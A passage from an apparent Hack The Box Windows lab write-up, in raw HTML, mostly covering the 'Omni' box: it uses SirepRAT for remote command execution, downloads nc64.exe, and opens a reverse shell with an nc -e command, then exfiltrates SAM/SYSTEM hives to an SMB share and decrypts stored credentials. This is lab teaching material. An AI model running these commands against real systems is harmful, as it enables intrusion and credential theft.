Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;&amp;lt;/Arguments&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Exec&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Actions&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/Task&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This output was complete. It reset the passwords and set Set-ADUser -ChangePasswordAtLogon:$true.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s why every login attempt kept saying the password had to be changed. Next, I looked at the overall approach taken in other write-ups.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder the password kept reverting. The intention behind it was good.&lt;/p&gt;&#10;&lt;p&gt;I read quite a few write-ups, and their basic approach was mostly the same. Only this person automated the process of obtaining the password, then ran whatever command they wanted at the bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="16omni"&gt;&lt;a href="#16omni" class="header-anchor"&gt;&lt;/a&gt;16.Omni&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Trying RPC with a blank password:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N 10.10.10.204&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;WinRM on port 5985 was no good without credentials either, and it is generally used after getting a shell anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 required authentication. I planned to figure out what framework it was running and then brute-force the directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a temporary redirect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing much there, but I found a CSS file in the page source.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.204:8080/css/common.css" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.204:8080/css/common.css&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of them contained anything useful, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0" target="_blank" rel="noopener"&#10; &gt;https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post suggested there might be a SQL Server web application behind it, but I could not find any similarities at all, so that was probably not the case.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTP/1.1 401 Unauthorized&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server: Microsoft-HTTPAPI/2.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WWW-Authenticate: Basic realm=&amp;#34;Windows Device Portal&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Sun, 01 Dec 2024 20:32:22 GMT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Length: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The response told me that this application was Windows Device Portal, but I still found nothing useful and got stuck here for quite a while again.&lt;/p&gt;&#10;&lt;p&gt;It really did seem like there was nothing there, so I tried looking at ports 29817, 29819, and 29820.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The nmap results were the same as during my initial information gathering, without much to go on. The interesting part was that two ports responded.&lt;/p&gt;&#10;&lt;p&gt;I had no idea what any of these services were, so all I could do was google their defaults.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As I dug deeper, I found an exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/SafeBreach-Labs/SirepRAT" target="_blank" rel="noopener"&#10; &gt;https://github.com/SafeBreach-Labs/SirepRAT&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It was very convenient to use, too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it worked.&lt;/p&gt;&#10;&lt;p&gt;I spent a very long time investigating this part. The shell I generated with msfvenom could be written to disk, but executing it never gave me a callback. I kept thinking I had written it incorrectly, but apparently it simply could not connect back.&lt;/p&gt;&#10;&lt;p&gt;The command below revealed a directory to me.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\cmd.exe&amp;#34; --args &amp;#34; /c echo {{userprofile}}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;HResultResult | type: 1, payload length: 4, HResult: 0x0&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;OutputStreamResult | type: 11, payload length: 30, payload peek: &amp;#39;b&amp;#39;C:\\Data\\Users\\DefaultAccount\r\n&amp;#39;&amp;#39;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;ErrorStreamResult | type: 12, payload length: 4, payload peek: &amp;#39;b&amp;#39;\x00\x00\x00\x00&amp;#39;&amp;#39;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The C:\Data\Users\DefaultAccount directory was writable. I uploaded a lot of files there and checked them with dir; everything looked fine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; dir C:\\Data\\Users\\DefaultAccount\\&amp;#34; --v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Execution still failed, though. I tried a number of PowerShell payloads and none worked. You can see an nc64.exe above; that was the only thing that worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34; --args &amp;#34; C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe&amp;#34; --v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These two commands solved my problem nicely.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally got a shell. There were no flags anywhere under Users.&lt;/p&gt;&#10;&lt;p&gt;Strangely, there seemed to be almost nothing in here. Was I inside a container? Or a virtual machine? Either way, it was an isolated environment.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So was I currently on the physical machine, while the data directory inside it was actually the virtual machine?&lt;/p&gt;&#10;&lt;p&gt;I went through almost every directory. There were basically only a few applications, and they all seemed to be default applications. I decided to extract SAM and see if it contained any passwords. The SAM file here did not appear to be in use—I could access it directly with type—so I could simply copy it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SAM \\10.10.16.2\kali\SAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SYSTEM \\10.10.16.2\kali\SYSTEM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Data\Windows\System32\config&amp;gt;copy .\SECURITY \\10.10.16.2\kali\SECURITY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/feigerger/article/details/131603338" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/feigerger/article/details/131603338&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, that did not work. This was already a dead end. I had looked through nearly every file in the data folder, and I googled any unfamiliar ones to find out what services they belonged to, but found nothing. I started looking through the local directories and found PhoneProvisioner_OEM, but there was nothing useful in it.&lt;/p&gt;&#10;&lt;p&gt;I eventually found the passwords here, inside a hidden file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@echo off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:LOOP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /F &amp;#34;skip=6&amp;#34; %%i in (&amp;#39;net localgroup &amp;#34;administrators&amp;#34;&amp;#39;) do net localgroup &amp;#34;administrators&amp;#34; %%i /delete&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user app mesh5143&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user administrator _1nt3rn37ofTh1nGz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ping -n 3 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cls&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GOTO :LOOP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:EXIT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Fortunately, this password worked for authentication on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not find any way to exploit it online.&lt;/p&gt;&#10;&lt;p&gt;After looking more closely, I realized it seemed to expose all the information from this Windows 10 machine here. During validation, I confirmed that the password really was the computer&amp;rsquo;s administrator password, not a virtual one. I also picked up a Wi-Fi password along the way. Once I had that, I planned to upload lazagne.exe and check for locally stored passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to searching for hidden files, but still found nothing. I tried a great many approaches, and every result told me this was not the right path. I did not know which step I had gotten wrong, but at this point I was completely stuck, so I had no choice but to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;After reading through the intended path, I found that my approach to obtaining the administrator password was indeed fine; it simply required going through files endlessly. The author listed three methods.&lt;/p&gt;&#10;&lt;p&gt;The first method extracted SAM and SYSTEM from the registry, whereas I had extracted the local files, which was why I got nothing.&lt;/p&gt;&#10;&lt;p&gt;The second method involved creating an administrator user, but the user would be removed. The cleanup script was the r.bat shown above.&lt;/p&gt;&#10;&lt;p&gt;The third method was to find r.bat and read the passwords. The passwords obtained with the first two methods were NTLM-encrypted and needed to be cracked.&lt;/p&gt;&#10;&lt;p&gt;Logging into the web application on port 8080 was no problem. My mistake was not searching carefully enough through the applications inside. I could only tell that it looked like a web-based resource-management application. I relied too heavily on google: when google returned no RCE results, I assumed it might be a rabbit hole. I had missed things while browsing through it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So Windows had connected the local device from earlier to this WDP. I needed to get a shell on that device through WDP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it—the place where commands could be executed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not see any difference in privileges at all, but it somehow got me in.&lt;/p&gt;&#10;&lt;p&gt;Old shell:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;New shell:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything under the data directory was now accessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just like root.txt, it was encrypted.&lt;/p&gt;&#10;&lt;p&gt;After reading a lot of blog posts, I started trying to decrypt it.&lt;/p&gt;&#10;&lt;p&gt;The post that helped me the most was &lt;a class="link" href="https://stackoverflow.com/questions/63639876/powershell-password-decrypt" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/63639876/powershell-password-decrypt&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At first, I kept running into the problem shown above. Later I realized the data had already been read; I was simply displaying it incorrectly. I finished reading the post above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Initially, my output always looked exactly like the command-line output shown there. But farther down, the author mentioned an interface, and that was the key. So all I needed was the following:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = Import-Clixml -Path C:\data\users\administrator\root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds.GetNetworkCredential().password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite for this technique was having the privileges of the user who created the encrypted content. If user.txt in the app folder had been created by administrator, my current user would have been able to decrypt it. Unfortunately, invoking it produced an error and it could not be decrypted. This was where dpapi was needed. dpapi allows passwords to be used across users and computers, so I could obtain the relevant key and try to decrypt it. For example, because I was administrator, I could decrypt root.txt. But decrypting user.txt under app produced an error because I was not the app user.&lt;/p&gt;&#10;&lt;p&gt;So now I needed the app user&amp;rsquo;s credentials. I really should have used the method below earlier; it is a fairly standard approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM\SYSTEM system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM\SAM sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\sam.hiv 